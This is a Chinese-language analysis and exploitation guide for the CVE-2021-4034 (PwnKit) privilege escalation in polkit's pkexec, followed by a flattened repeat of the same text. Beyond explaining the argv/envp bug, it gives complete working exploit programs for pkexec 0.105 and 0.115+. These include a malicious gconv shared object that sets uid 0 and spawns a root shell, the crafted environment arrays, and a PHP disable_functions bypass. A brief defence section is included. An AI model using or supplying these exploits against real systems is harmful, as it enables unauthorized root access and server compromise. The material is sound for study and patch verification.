CVE-2021-4034 深入分析及漏洞复现
字数 1744 2025-08-29 08:31:35

CVE-2021-4034 (PwnKit) 漏洞深入分析与利用指南

漏洞概述

CVE-2021-4034 是 polkit 的 pkexec 工具中存在的一个本地提权漏洞,影响所有版本的 pkexec。该漏洞允许低权限用户在默认配置下提升至 root 权限。

背景知识

polkit 和 pkexec

  • polkit 是一个授权管理器,其系统架构由授权和身份验证代理组成
  • pkexec 是 polkit 的一个工具,作用类似于 sudo,允许用户以另一个用户身份执行命令

关键概念

  • SUID 位:pkexec 通常设置了 SUID 位,以 root 权限运行
  • 环境变量清理:Linux 的动态链接器会清除特权程序执行时的敏感环境变量
  • 字符集转换:glibc 的 iconv 函数族用于字符集转换

漏洞原理分析

漏洞位置

漏洞位于 pkexec 的 main 函数中,涉及参数处理的逻辑错误。

详细分析

  1. 参数处理缺陷

    • main 函数初始化 n=1(534行)
    • 当不带参数运行 pkexec 时,argv[1] 实际上越界访问了 envp[0]
    • 由于 main 函数的参数 argvenvp 在内存中相邻,argv[1] 会指向 envp[0]
  2. 路径处理

    • path 被赋值为 envp[0](610行)
    • g_find_program_in_path(path) 通过 PATH 环境变量查找程序绝对路径(632行)
    • argv[1] 被赋值为绝对路径地址(639行),实际上是修改了 envp[0]
  3. 利用条件

    • 攻击者可以控制 envp[0],从而写入任意环境变量
    • 关键是要找到一个可以利用的环境变量来引入外部 so 并执行其中的函数

环境变量保护机制绕过

Linux 动态链接器会清除以下危险环境变量(定义在 unsecvars.h):

  • GCONV_PATH
  • LD_PRELOAD
  • 其他能动态加载路径的环境变量

直接通过 execve 设置这些变量无效,因为它们会被清除。而此漏洞允许我们在清除后重新注入这些变量。

利用技术

核心思路

  1. 通过漏洞注入 GCONV_PATH 环境变量
  2. 利用 g_printerr 函数的字符集转换功能触发恶意代码执行

利用步骤

  1. 伪造目录结构

    mkdir -p 'GCONV_PATH=.'; 
    touch 'GCONV_PATH=./pwnkit'; 
    chmod a+x 'GCONV_PATH=./pwnkit'
    mkdir -p pwnkit
    
  2. 创建 gconv-modules 文件

    module UTF-8// PWNKIT// pwnkit 1
    

    表示从 UTF-8 转换为 PWNKIT 编码使用 pwnkit.so,cost 值为 1(更高优先级)

  3. 编译恶意 so(pwnkit.c):

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    void gconv() {}
    void gconv_init() {
        setuid(0); setgid(0);
        seteuid(0); setegid(0);
        system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");
        exit(0);
    }
    

    编译命令:

    gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC
    
  4. 构造恶意环境变量

    char *env[] = {
        "pwnkit",                  // 触发越界写,最终写入 GCONV_PATH=./pwnkit
        "PATH=GCONV_PATH=.",       // 使 g_find_program_in_path 在 GCONV_PATH=. 目录中查找
        "CHARSET=PWNKIT",          // 触发 g_printerr 更换编码字符
        "SHELL=pwnkit",            // 触发调用 g_printerr 函数
        NULL
    };
    
  5. 触发执行

    execve("./pkexec", (char*[]){NULL}, env);
    

触发 g_printerr 的替代方法

除了 SHELL 变量,还可以使用:

"XAUTHORITY=../xxx"  // 包含 ".." 触发验证错误

"LC_MESSAGES=en_US.UTF-8"

不同版本的差异处理

0.114+ 版本的挑战

在 0.114 及以上版本中,main 函数添加了 setenv 调用,导致环境变量迁移到堆上,使得栈上的越界写失效。

解决方案

在调用 setenv 前预先设置该环境变量,防止重新分配:

"GIO_USE_VFS=",  // 预先设置,防止 envp 迁移

验证实验

// t1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    char *a_argv[] = { NULL };
    char *a_envp[] = {
        "env1=1",
        "env2=2",
        "env3=123456789",  // 关键:预先设置
        "env4=",
        NULL
    };
    execve("./t2", a_argv, a_envp);
}

// t2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char **environ;

int main(int argc, char *argv[]) {
    setenv("env3", "local", 1);
    printf("stack envp:\n");
    printf("%p:%s\n", &argv[1], argv[1]);
    printf("%p:%s\n", &argv[2], argv[2]);
    printf("%p:%s\n\n", &argv[3], argv[3]);
    
    char **var;
    printf("real environ:\n");
    for (var = environ; *var != NULL; ++var)
        printf("%p:%s\n", var, *var);
}

PHP 绕过 disable_functions 的应用

利用原理:

  • PHP 的 iconv 函数调用 glibc 的 iconv 相关函数
  • 同样会使用 iconv_open,受 GCONV_PATH 影响

利用方法:

  1. 上传恶意 so 和 gconv-modules 到 /tmp
  2. 使用 PHP 代码触发:
    <?php
    putenv("GCONV_PATH=/tmp/");
    iconv("自定义字符集名", "UTF-8", "whatever");
    ?>
    

完整利用代码示例

针对 0.105 版本

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
"    setuid(0); setgid(0);\n"
"    seteuid(0); setegid(0);\n"
"    system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
"    exit(0);\n"
"}";

int main(int argc, char *argv[]) {
    FILE *fp;
    system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
    system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
    
    fp = fopen("pwnkit/pwnkit.c", "w");
    fprintf(fp, "%s", shell);
    fclose(fp);
    
    system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
    
    char *env[] = {
        "pwnkit",
        "PATH=GCONV_PATH=.",
        "CHARSET=PWNKIT",
        "SHELL=pwnkit",
        NULL
    };
    
    execve("./pkexec_105", (char*[]){NULL}, env);
}

针对 0.115+ 版本

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
"    setuid(0); setgid(0);\n"
"    seteuid(0); setegid(0);\n"
"    system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
"    exit(0);\n"
"}";

int main(int argc, char *argv[]) {
    FILE *fp;
    system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
    system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
    
    fp = fopen("pwnkit/pwnkit.c", "w");
    fprintf(fp, "%s", shell);
    fclose(fp);
    
    system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
    
    char *env[] = {
        "pwnkit",
        "PATH=GCONV_PATH=.",
        "CHARSET=PWNKIT",
        "GIO_USE_VFS=",  // 防止 envp 迁移
        "SHELL=pwnkit",
        NULL
    };
    
    execve("./pkexec_115", (char*[]){NULL}, env);
}

防御措施

  1. 升级 polkit 到已修复版本
  2. 移除 pkexec 的 SUID 位(可能影响功能):
    chmod 0755 /usr/bin/pkexec
    
  3. 监控对 gconv-modules 的异常修改

总结

CVE-2021-4034 是一个典型的由内存越界访问导致的权限提升漏洞,结合了环境变量注入和 glibc 字符集转换机制的特性。该漏洞的利用过程展示了:

  1. 如何绕过 Linux 的安全机制(环境变量清理)
  2. 利用程序逻辑错误实现内存越界写
  3. 通过 glibc 特性触发恶意代码执行
  4. 不同版本间的利用差异处理

这个漏洞也意外地提供了 PHP 绕过 disable_functions 的新方法,展示了安全研究的横向思维。

CVE-2021-4034 (PwnKit) 漏洞深入分析与利用指南 漏洞概述 CVE-2021-4034 是 polkit 的 pkexec 工具中存在的一个本地提权漏洞,影响所有版本的 pkexec。该漏洞允许低权限用户在默认配置下提升至 root 权限。 背景知识 polkit 和 pkexec polkit 是一个授权管理器,其系统架构由授权和身份验证代理组成 pkexec 是 polkit 的一个工具,作用类似于 sudo,允许用户以另一个用户身份执行命令 关键概念 SUID 位 :pkexec 通常设置了 SUID 位,以 root 权限运行 环境变量清理 :Linux 的动态链接器会清除特权程序执行时的敏感环境变量 字符集转换 :glibc 的 iconv 函数族用于字符集转换 漏洞原理分析 漏洞位置 漏洞位于 pkexec 的 main 函数中,涉及参数处理的逻辑错误。 详细分析 参数处理缺陷 : main 函数初始化 n=1 (534行) 当不带参数运行 pkexec 时, argv[1] 实际上越界访问了 envp[0] 由于 main 函数的参数 argv 和 envp 在内存中相邻, argv[1] 会指向 envp[0] 路径处理 : path 被赋值为 envp[0] (610行) g_find_program_in_path(path) 通过 PATH 环境变量查找程序绝对路径(632行) argv[1] 被赋值为绝对路径地址(639行),实际上是修改了 envp[0] 利用条件 : 攻击者可以控制 envp[0] ,从而写入任意环境变量 关键是要找到一个可以利用的环境变量来引入外部 so 并执行其中的函数 环境变量保护机制绕过 Linux 动态链接器会清除以下危险环境变量(定义在 unsecvars.h): GCONV_ PATH LD_ PRELOAD 其他能动态加载路径的环境变量 直接通过 execve 设置这些变量无效,因为它们会被清除。而此漏洞允许我们在清除后重新注入这些变量。 利用技术 核心思路 通过漏洞注入 GCONV_PATH 环境变量 利用 g_printerr 函数的字符集转换功能触发恶意代码执行 利用步骤 伪造目录结构 : 创建 gconv-modules 文件 : 表示从 UTF-8 转换为 PWNKIT 编码使用 pwnkit.so,cost 值为 1(更高优先级) 编译恶意 so (pwnkit.c): 编译命令: 构造恶意环境变量 : 触发执行 : 触发 g_ printerr 的替代方法 除了 SHELL 变量,还可以使用: 或 不同版本的差异处理 0.114+ 版本的挑战 在 0.114 及以上版本中,main 函数添加了 setenv 调用,导致环境变量迁移到堆上,使得栈上的越界写失效。 解决方案 在调用 setenv 前预先设置该环境变量,防止重新分配: 验证实验 PHP 绕过 disable_ functions 的应用 利用原理: PHP 的 iconv 函数调用 glibc 的 iconv 相关函数 同样会使用 iconv_open ,受 GCONV_PATH 影响 利用方法: 上传恶意 so 和 gconv-modules 到 /tmp 使用 PHP 代码触发: 完整利用代码示例 针对 0.105 版本 针对 0.115+ 版本 防御措施 升级 polkit 到已修复版本 移除 pkexec 的 SUID 位(可能影响功能): 监控对 gconv-modules 的异常修改 总结 CVE-2021-4034 是一个典型的由内存越界访问导致的权限提升漏洞,结合了环境变量注入和 glibc 字符集转换机制的特性。该漏洞的利用过程展示了: 如何绕过 Linux 的安全机制(环境变量清理) 利用程序逻辑错误实现内存越界写 通过 glibc 特性触发恶意代码执行 不同版本间的利用差异处理 这个漏洞也意外地提供了 PHP 绕过 disable_ functions 的新方法,展示了安全研究的横向思维。